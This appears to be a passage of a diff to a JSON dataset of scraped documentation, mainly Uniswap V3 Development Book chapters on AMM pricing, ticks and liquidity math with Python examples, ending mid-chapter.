CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Home Troubleshooting Support Curve is to be used entirely at your own risk. Admins have no special keys and cannot recover funds if sent improperly. However, a wide variety of resources are still available to help you avoid issues. If you have questions, please make sure to check with the following sources: This section contains common troubleshooting questions, as does the entirety of this documentation. The technical documentation is a comprehensive resource for coders. The Telegram channel is an active place to seek support. The Discord also has an active support channel. Most users use Curve without issue, however we understand it can be complicated so make sure to ask first and save yourself any possible trouble later! 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - } -] \ No newline at end of file +[{"title": "First Swap #", "html_url": "https://uniswapv3book.com/docs/milestone_1/introduction/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction First Swap First Swap # In this milestone, well build a pool contract that can receive liquidity from users and make swaps within a price range. To keep it as simple as possible, well provide liquidity only in one price range and well allow to make swaps only in one direction. Also, well calculate all the required math manually to get better intuition before starting using mathematical libs in Solidity. Lets model the situation well build: There will be an ETH/USDC pool contract. ETH will be the $x$ reserve, USDC will be the $y$ reserve. Well set the current price to 5000 USDC per 1 ETH. The range well provide liquidity into is 4545-5500 USDC per 1 ETH. Well buy some ETH from the pool. At this point, since we have only one price range, we want the price of the trade to stay within the price range. Visually, this model looks like this: Before getting to code, lets figure out the math and calculate all the parameters of the model. To keep things simple, Ill do math calculations in Python before implementing them in Solidity. This will allow us to focus on the math without diving into the nuances of math in Solidity. This also means that, in smart contracts, well hardcode all the amounts. This will allow us to start with a simple minimal viable product. For your convenience, I put all the Python calculations in unimath.py . Youll find the complete code of this milestone in this Github branch . If you have any questions feel free asking them in the GitHub Discussion of this milestone ! \\[ \\] First Swap", "labels": ["Documentation"]}, {"title": "Second Swap #", "html_url": "https://uniswapv3book.com/docs/milestone_2/introduction/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Second Swap Second Swap # Alright, this is where it gets real. So far, our implementation has been looking too synthetic and static. We have calculated and hard coded all the amounts to make the learning curve less steep, and now were ready to make it dynamic. Were going to implement the second swap, that is a swap in the opposite direction: sell ETH to buy USDC. To do this, were going to improve our smart contracts significantly: We need to implement math calculations in Solidity. However, since implementing math in Solidity is tricky due to Solidity supporting only integer division, well use third-party libraries. Well need to let users choose swap direction, and the pool contract will need to support swapping in both directions. Well improve the contract and will bring it closer to multi-range swaps, which well implement in the next milestone. Finally, well update the UI to support swaps in both directions AND output amount calculation! This will require us implementing another contract, Quoter. In the end of this milestone, well have an app that works almost like a real DEX! Lets begin! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Second Swap", "labels": ["Documentation"]}, {"title": "Cross-tick Swaps #", "html_url": "https://uniswapv3book.com/docs/milestone_3/introduction/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Cross-tick Swaps Cross-tick Swaps # We have made a great progress so far and our Uniswap V3 implementation is quite close to the original one! However, our implementation only supports swaps within a price rangeand this is what were going to improve in this milestone. In this milestone, well: update mint function to provide liquidity in different price ranges; update swap function to cross price ranges when theres not enough liquidity in the current price range; learn how to calculate liquidity in smart contracts; implement slippage protection in mint and swap functions; update the UI application to allow to add liquidity at different price ranges; learn a little bit more about fixed-point numbers. In this milestone, well complete swapping, the core functionality of Uniswap! Lets begin! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Cross-tick Swaps", "labels": ["Documentation"]}, {"title": "Multi-pool Swaps #", "html_url": "https://uniswapv3book.com/docs/milestone_4/introduction/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Multi-pool Swaps Multi-pool Swaps # After implementing cross-tick swaps, weve got really close to real Uniswap V3 swaps. One significant limitation of our implementation is that it allows only swaps within a poolif theres no pool for a pair of tokens, then swapping between these tokens is not possible. This is not so in Uniswap since it allows multi-pool swaps. In this chapter, were going to add multi-pool swaps to our implementation. Heres the plan: first, well learn about and implement Factory contract; then, well see how chained or multi-pool swaps work and implement Path library; then, well update the front-end app to support multi-pool swaps; well implement a basic router that finds a path between two tokens; along the way, well also learn about tick spacing which is a way of optimizing swaps. After finishing this chapter, our implementation will be able to handle multi-pool swaps, for example, swapping WBTC for WETH via different stablecoins: WETH USDC USDT WBTC. Lets begin! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Multi-pool Swaps", "labels": ["Documentation"]}, {"title": "Fees and Price Oracle #", "html_url": "https://uniswapv3book.com/docs/milestone_5/introduction/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Fees and Price Oracle Fees and Price Oracle # In this milestone, were going to add two new features to our Uniswap implementation. They share one similarity: they work on top of what we have already builtthats why weve delayed them until this milestone. However, theyre not equally important. Were going to add swap fees and a price oracle: Swap fees is a crucial mechanism of the DEX design were implementing. Theyre the glue that makes things stick together. Swap fees incentivize liquidity providers to provide liquidity, and no trades are possible without liquidity, as we have already learned. A price oracle, on the other hand, is an optional utility function of a DEX. A DEX, while conducting trades, can also function as a price oraclethat is, provide token prices to other services. This doesnt affect actual swaps but provides a useful service to other on-chain applications. Alright, lets get building! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Fees and Price Oracle", "labels": ["Documentation"]}, {"title": "NFT Positions #", "html_url": "https://uniswapv3book.com/docs/milestone_6/introduction/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction NFT Positions NFT Positions # This is the cherry on the cake of this book. In this milestone, were going to learn how Uniswap contract can be extended and integrated into third-party protocols. This possibility is a direct consequence of having core contracts with only crucial functions, which allows to integrate them into other contracts without the need of adding new features to core contracts. A bonus feature of Uniswap V3 was the ability to turn liquidity positions into NFT tokens. Heres an example of one such NFT tokens: It shows token symbols, pool fee, position ID, lower and upper ticks, token addresses, and the segment of the curve the position is provided at. You can see all Uniswap V3 NFT positions in this OpenSea collection . In this milestone, were going to add NFT-tokenization of liquidity positions! Lets go! Youll find the complete code of this chapter in this Github branch . This milestone introduces a lot of code changes in existing contracts. Here you can see all changes since the last milestone If you have any questions feel free asking them in the GitHub Discussion of this milestone ! \\[ \\] NFT Positions", "labels": ["Documentation"]}, {"title": "Introduction to markets #", "html_url": "https://uniswapv3book.com/docs/introduction/introduction-to-markets/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction to Markets Introduction to markets How centralized exchanges work How decentralized exchanges work Automated Market Makers What is an AMM? Introduction to markets # How centralized exchanges work # In this book, well build a decentralized exchange (DEX) that will run on Ethereum. Therere multiple approaches to how an exchange can be designed. All centralized exchanges have an order book at their core. An order book is just a journal that stores all sell and buy orders that traders want to make. Each order in this book contains a price the order must be executed at and the amount that must be bought or sold. For trading to happen, there must exist liquidity , which is simply the availability of assets on a market. If you want to buy a wardrobe but no one is selling one, theres no liquidity. If you want to sell a wardrobe but no one wants to buy it, theres liquidity but no buyers. If theres no liquidity, theres nothing to buy or sell. On centralized exchanges, the order book is where liquidity is accumulated. If someone places a sell order, they provide liquidity to the market. If someone places a buy order, they expected the market to have liquidity, otherwise, no trade is possible. When theres no liquidity, but markets are still interested in trades, market makers come into play. A market maker is a firm or an individual who provides liquidity to markets, that is someone who has a lot of money and who buys different assets to sell them on exchanges. For this job market makers are paid by exchanges. Market makers make money on providing liquidity to exchanges . How decentralized exchanges work # Dont be surprised, decentralized exchanges also need liquidity. And they also need someone who provides it to traders of a wide variety of assets. However, this process cannot be handled in a centralized way. A decentralized solution must be found. There are multiple decentralized solutions and some of them are implemented differently. Our focus will be on how Uniswap solves this problem. Automated Market Makers # The evolution of on-chain markets brought us to the idea of Automated Market Makers (AMM). As the name implies, this algorithm works exactly like market makers but in an automated way. Moreover, its decentralized and permissionless, that is: its not governed by a single entity; all assets are not stored in one place; anyone can use it from anywhere. What is an AMM? # An AMM is a set of smart contracts that define how liquidity is managed. Each trading pair (e.g. ETH/USDC) is a separate contract that stores both ETH and USDC and thats programmed to mediate trades: exchanging ETH for USDC and vice versa. The core idea is pooling : each contract is a pool that stores liquidity lets different users (including other smart contract) to trade in a permissioned way. There are two roles, liquidity providers and traders, and these roles interact with each other through pools of liquidity, and the way they can interact with pools is programmed and immutable. What makes this approach different from centralized exchanges is that the smart contracts are fully automated and not managed by anyone . There are no managers, admins, privileged users, etc. There are only liquidity providers and traders (they can be the same people), and all the algorithms are programmed, immutable, and public. Lets now look closer at how Uniswap implements an AMM. Please note that I use pool and pair terms interchangeably throughout the book because a Uniswap pool is a pair of two tokens. If you have any questions feel free asking them in the GitHub Discussion of this milestone ! Introduction to markets How centralized exchanges work How decentralized exchanges work Automated Market Makers What is an AMM?", "labels": ["Documentation"]}, {"title": "Calculating liquidity #", "html_url": "https://uniswapv3book.com/docs/milestone_1/calculating-liquidity/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Calculating Liquidity Calculating liquidity Price Range Calculation Token Amounts Calculation Liquidity Amount Calculation Token Amounts Calculation, Again Calculating liquidity # Trading is not possible without liquidity, and to make our first swap we need to put some liquidity into the pool contract. Heres what we need to know to add liquidity to the pool contract: A price range. As a liquidity provider, we want to provide liquidity at a specific price range, and itll only be used in this range. Amount of liquidity, which is the amounts of two tokens. Well need to transfer these amounts to the pool contract. Here, were going to calculate these manually, but, in a later chapter, a contract will do this for us. Lets begin with a price range. Price Range Calculation # Recall that, in Uniswap V3, the entire price range is demarcated into ticks: each tick corresponds to a price and has an index. In our first pool implementation, were going to buy ETH for USDC at the price of $5000 per 1 ETH. Buying ETH will remove some amount of it from the pool and will push the price slightly above $5000 . We want to provide liquidity at a range that includes this price. And we want to be sure that the final price will stay within this range (well do multi-range swaps in a later milestone). Well need to find three ticks: The current tick will correspond to the current price (5000 USDC for 1 ETH). The lower and upper bounds of the price range were providing liquidity into. Let the lower price be $4545 and the upper price be $5500 . From the theoretical introduction we know that: $$\\sqrt{P} = \\sqrt{\\frac{y}{x}}$$ Since weve agreed to use ETH as the $x$ reserve and USDC as the $y$ reserve, the prices at each of the ticks are: $$\\sqrt{P_c} = \\sqrt{\\frac{5000}{1}} = \\sqrt{5000} \\approx 70.71$$ $$\\sqrt{P_l} = \\sqrt{\\frac{4545}{1}} \\approx 67.42$$ $$\\sqrt{P_u} = \\sqrt{\\frac{5500}{1}} \\approx 74.16$$ Where $P_c$ is the current price, $P_l$ is the lower bound of the range, $P_u$ is the upper bound of the range. Now, we can find corresponding ticks. We know that prices and ticks are connected via this formula: $$\\sqrt{P(i)}=1.0001^{\\frac{i}{2}}$$ Thus, we can find tick $i$ via: $$i = log_{\\sqrt{1.0001}} \\sqrt{P(i)}$$ The square roots in this formula cancel out, but since were working with $\\sqrt{p}$ we need to preserve them. Lets find the ticks: Current tick: $i_c = log_{\\sqrt{1.0001}} 70.71 = 85176$ Lower tick: $i_l = log_{\\sqrt{1.0001}} 67.42 = 84222$ Upper tick: $i_u = log_{\\sqrt{1.0001}} 74.16 = 86129$ To calculate these, I used Python: import math def price_to_tick (p): return math . floor(math . log(p, 1.0001 )) price_to_tick( 5000 ) > 85176 Thats it for price range calculation! Last thing to note here is that Uniswap uses Q64.96 number to store $\\sqrt{P}$. This is a fixed point number that has 64 bits for the integer part and 96 bits for the fractional part. In our above calculations, prices are floating point numbers: 70.71 , 67.42 , 74.16 . We need to convert them to Q64.96. Luckily, this is simple: we need to multiply the numbers by $2^{96}$ (Q-number is a binary fixed point number, so we need to multiply our decimals numbers by the base of Q64.96, which is $2^{96}$). Well get: $$\\sqrt{P_c} = 5602277097478614198912276234240$$ $$\\sqrt{P_l} = 5314786713428871004159001755648$$ $$\\sqrt{P_u} = 5875717789736564987741329162240$$ In Python: q96 = 2 ** 96 def price_to_sqrtp (p): return int(math . sqrt(p) * q96) price_to_sqrtp( 5000 ) > 5602277097478614198912276234240 Notice that were multiplying before converting to integer. Otherwise, well lose precision. Token Amounts Calculation # Next step is to decide how many tokens we want to deposit into the pool. The answer is: as many as we want. The amounts are not strictly defined, we can deposit as much as it is enough to buy a small amount of ETH without making the current price leave the price range we put liquidity into. During development and testing well be able to mint any amount of tokens, so getting the amounts we want is not a problem. For our first swap, lets deposit 1 ETH and 5000 USDC. Recall that the proportion of current pool reserves tells the current spot price. So if we want to put more tokens into the pool and keep the same price, the amounts must be proportional, e.g.: 2 ETH and 10,000 USDC; 10 ETH and 50,000 USDC, etc. Liquidity Amount Calculation # Next, we need to calculate $L$ based on the amounts well deposit. This is a tricky part, so hold tight! From the theoretical introduction, you remember that: $$L = \\sqrt{xy}$$ However, this formula is for the infinite curve But we want to put liquidity into a limited price range, which is just a segment of that infinite curve. We need to calculate $L$ specifically for the price range were going to deposit liquidity into. We need some more advanced calculations. To calculate $L$ for a price range, lets look at one interesting fact we have discussed earlier: price ranges can be depleted. Its absolutely possible to buy the entire amount of one token from a price range and leave the pool with only the other token. At the points $a$ and $b$, theres only one token in the range: ETH at the point $a$ and USDC at the point $b$. That being said, we want to find an $L$ that will allow the price to move to either of the points. We want enough liquidity for the price to reach either of the boundaries of a price range. Thus, we want $L$ to be calculated based on the maximum amounts of $\\Delta x$ and $\\Delta y$. Now, lets see what the prices are at the edges. When ETH is bought from a pool, the price is growing; when USDC is bought, the price is falling. Recall that the price is $\\frac{y}{x}$. So, at the point $a$, the price is lowest of the range; at the point $b$, the price is highest. In fact, prices are not defined at these points because theres only one reserve in the pool, but what we need to understand here is that the price around the point $b$ is higher than the start price, and the price at the point $a$ is lower than the start price. Now, break the curve from the image above into two segments: one to the left of the start point and one to the right of the start point. Were going to calculate two $L$s, one for each of the segments. Why? Because each of the two tokens of a pool contributes to either of the segments : the left segment is made entirely of token $x$, the right segment is made entirely of token $y$. This comes from the fact that, during swapping, the price moves in either direction: its either growing or falling. For the price to move, only either of the tokens is needed: when the price is growing, only token $x$ is needed for the swap (were buying token $x$, so we want to take only token $x$ from the pool); when the price is falling, only token $y$ is needed for the swap. Thus, the liquidity in the segment of the curve to the left of the current price consists only of token $x$ and is calculated only from the amount of token $x$ provided. And, similarly, the liquidity in the segment of the curve to the right of the current price consists only of token $y$ and is calculated only from the amount of token $y$ provided. This is why, when providing liquidity, we calculate two $L$s and pick one of them. Which one? The smaller one. Why? Because the bigger one already includes the smaller one! We want the new liquidity to be distributed evenly along the curve, thus we want to add the same $L$ to the left and to the right of the current price. If we pick the bigger one, the user would need to provide more liquidity to compensate the shortage in the smaller one. This is doable, of course, but this would make the smart contract more complex. What happens with the remainder of the bigger $L$? Well, nothing. After picking the smaller $L$ we can simply convert it to a smaller amount of the token that resulted in the bigger $L$this will adjust it down. After that, well have token amounts that will result in the same $L$. And the final detail I need to focus your attention on here is: new liquidity must not change the current price . That is, it must be proportional to the current proportion of the reserves. And this is why the two $L$s can be differentwhen the proportion is not preserved. And we pick the small $L$ to reestablish the proportion. I hope this will make more sense after we implement this in code! Now, lets look at the formulas. Lets recall how $\\Delta x$ and $\\Delta y$ are calculated: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}} L$$ $$\\Delta y = \\Delta \\sqrt{P} L$$ We can expands these formulas by replacing the delta Ps with actual prices (we know them from the above): $$\\Delta x = (\\frac{1}{\\sqrt{P_c}} - \\frac{1}{\\sqrt{P_b}}) L$$ $$\\Delta y = (\\sqrt{P_c} - \\sqrt{P_a}) L$$ $P_a$ is the price at the point $a$, $P_b$ is the price at the point $b$, and $P_c$ is the current price (see the above chart). Notice that, since the price is calculated as $\\frac{y}{x}$ (i.e. its the price of $x$ in terms of $y$), the price at point $b$ is higher than the current price and the price at $a$. The price at $a$ is the lowest of the three. Lets find the $L$ from the first formula: $$\\Delta x = (\\frac{1}{\\sqrt{P_c}} - \\frac{1}{\\sqrt{P_b}}) L$$ $$\\Delta x = \\frac{L}{\\sqrt{P_c}} - \\frac{L}{\\sqrt{P_b}}$$ $$\\Delta x = \\frac{L(\\sqrt{P_b} - \\sqrt{P_c})}{\\sqrt{P_b} \\sqrt{P_c}}$$ $$L = \\Delta x \\frac{\\sqrt{P_b} \\sqrt{P_c}}{\\sqrt{P_b} - \\sqrt{P_c}}$$ And from the second formula: $$\\Delta y = (\\sqrt{P_c} - \\sqrt{P_a}) L$$ $$L = \\frac{\\Delta y}{\\sqrt{P_c} - \\sqrt{P_a}}$$ So, these are our two $L$s, one for each of the segments: $$L = \\Delta x \\frac{\\sqrt{P_b} \\sqrt{P_c}}{\\sqrt{P_b} - \\sqrt{P_c}}$$ $$L = \\frac{\\Delta y}{\\sqrt{P_c} - \\sqrt{P_a}}$$ Now, lets plug the prices we calculated earlier into them: $$L = \\Delta x \\frac{\\sqrt{P_b}\\sqrt{P_c}}{\\sqrt{P_b}-\\sqrt{P_c}} = 1 ETH * \\frac{5875 * 5602}{5875 - 5602}$$ After converting to Q64.96, we get: $$L = 1519437308014769733632$$ And for the other $L$: $$L = \\frac{\\Delta y}{\\sqrt{P_c}-\\sqrt{P_a}} = \\frac{5000USDC}{5602 - 5314}$$ $$L = 1517882343751509868544$$ Of these two, well pick the smaller one. In Python: sqrtp_low = price_to_sqrtp( 4545 ) sqrtp_cur = price_to_sqrtp( 5000 ) sqrtp_upp = price_to_sqrtp( 5500 ) def liquidity0 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return (amount * (pa * pb) / q96) / (pb - pa) def liquidity1 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return amount * q96 / (pb - pa) eth = 10 ** 18 amount_eth = 1 * eth amount_usdc = 5000 * eth liq0 = liquidity0(amount_eth, sqrtp_cur, sqrtp_upp) liq1 = liquidity1(amount_usdc, sqrtp_cur, sqrtp_low) liq = int(min(liq0, liq1)) > 1517882343751509868544 Token Amounts Calculation, Again # Since we choose the amounts were going to deposit, the amounts can be wrong. We cannot deposit any amounts at any price ranges; liquidity amount needs to be distributed evenly along the curve of the price range were depositing into. Thus, even though users choose amounts, the contract needs to re-calculate them, and actual amounts will be slightly different (at least because of rounding). Luckily, we already know the formulas: $$\\Delta x = \\frac{L(\\sqrt{P_b} - \\sqrt{P_c})}{\\sqrt{P_b} \\sqrt{P_c}}$$ $$\\Delta y = L(\\sqrt{P_c} - \\sqrt{P_a})$$ In Python: def calc_amount0 (liq, pa, pb): if pa > pb: pa, pb = pb, pa return int(liq * q96 * (pb - pa) / pa / pb) def calc_amount1 (liq, pa, pb): if pa > pb: pa, pb = pb, pa return int(liq * (pb - pa) / q96) amount0 = calc_amount0(liq, sqrtp_upp, sqrtp_cur) amount1 = calc_amount1(liq, sqrtp_low, sqrtp_cur) (amount0, amount1) > ( 998976618347425408 , 5000000000000000000000 ) As you can see, the number are close to the amounts we want to provide, but ETH is slightly smaller. Hint : use cast --from-wei AMOUNT to convert from wei to ether, e.g.: cast --from-wei 998976618347425280 will give you 0.998976618347425280 . \\[ \\] Calculating liquidity Price Range Calculation Token Amounts Calculation Liquidity Amount Calculation Token Amounts Calculation, Again", "labels": ["Documentation"]}, {"title": "Constant Function Market Makers #", "html_url": "https://uniswapv3book.com/docs/introduction/constant-function-market-maker/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Constant Function Market Makers Constant Function Market Makers The trade function Pricing The Curve Constant Function Market Makers # This chapter retells the whitepaper of Uniswap V2 . Understanding this math is crucial to build a Uniswap-like DEX, but its totally fine if you dont understand everything at this stage. As I mentioned in the previous section, there are different approaches to building AMM. Well be focusing on and building one specific type of AMMConstant Function Market Maker. Dont be scared by the long name! At its core is a very simple mathematical formula: $$x * y = k$$ Thats it, this is the AMM. $x$ and $y$ are pool contract reservesthe amounts of tokens it currently holds. k is just their product, actual value doesnt matter. Why there are only two reserves, x and y ? Each Uniswap pool can hold only two tokens. We use x and y to refer to reserves of one pool, where x is the reserve of the first token and y is the reserve of the other token, and the order doesnt matter. The constant function formula says: after each trade, k must remain unchanged . When traders make trades, they put some amount of one token into a pool (the token they want to sell) and remove some amount of the other token from the pool (the token they want to buy). This changes the reserves of the pool, and the constant function formula says that the product of reserves must not change. As we will see many times in this book, this simple requirement is the core algorithm of how Uniswap works. The trade function # Now that we know what pools are, lets write the formula of how trading happens in a pool: $$(x + r\\Delta x)(y - \\Delta y) = k$$ Theres a pool with some amount of token 0 ($x$) and some amount of token 1 ($y$) When we buy token 1 for token 0, we give some amount of token 0 to the pool ($\\Delta x$). The pool gives us some amount of token 1 in exchange ($\\Delta y$). The pool also takes a small fee ($r = 1 - \\text{swap fee}$) from the amount of token 0 we gave. The reserve of token 0 changes ($x + r \\Delta x$), and the reserve of token 1 changes as well ($y - \\Delta y$). The product of updated reserves must still equal $k$. Well use token 0 and token 1 notation for the tokens because this is how theyre referenced in the code. At this point, it doesnt matter which of them is 0 and which is 1. Were basically giving a pool some amount of token 0 and getting some amount of token 1. The job of the pool is to give us a correct amount of token 1 calculated at a fair price. This leads us to the following conclusion: pools decide what trade prices are . Pricing # How do we calculate the prices of tokens in a pool? Since Uniswap pools are separate smart contracts, tokens in a pool are priced in terms of each other . For example: in a ETH/USDC pool, ETH is priced in terms of USDC and USDC is priced in terms of ETH. If 1 ETH costs 1000 USDC, then 1 USDC costs 0.001 ETH. The same is true for any other pool, whether its a stablecoin pair or not (e.g. ETH/BTC). In the real world, everything is priced based on the law of supply and demand . This also holds true for AMMs. Well put the demand part aside for now and focus on supply. The prices of tokens in a pool are determined by the supply of the tokens, that is by the amounts of reserves of the tokens that the pool is holding. Token prices are simply relations of reserves: $$P_x = \\frac{y}{x}, \\quad P_y=\\frac{x}{y}$$ Where $P_x$ and $P_y$ are prices of tokens in terms of the other token. Such prices are called spot prices and they only reflect current market prices. However, the actual price of a trade is calculated differently. And this is where we need to bring the demand part back. Concluding from the law of supply and demand, high demand increases the price and this is a property we need to have in a permissionless system. We want the price to be high when demand is high, and we can use pool reserves 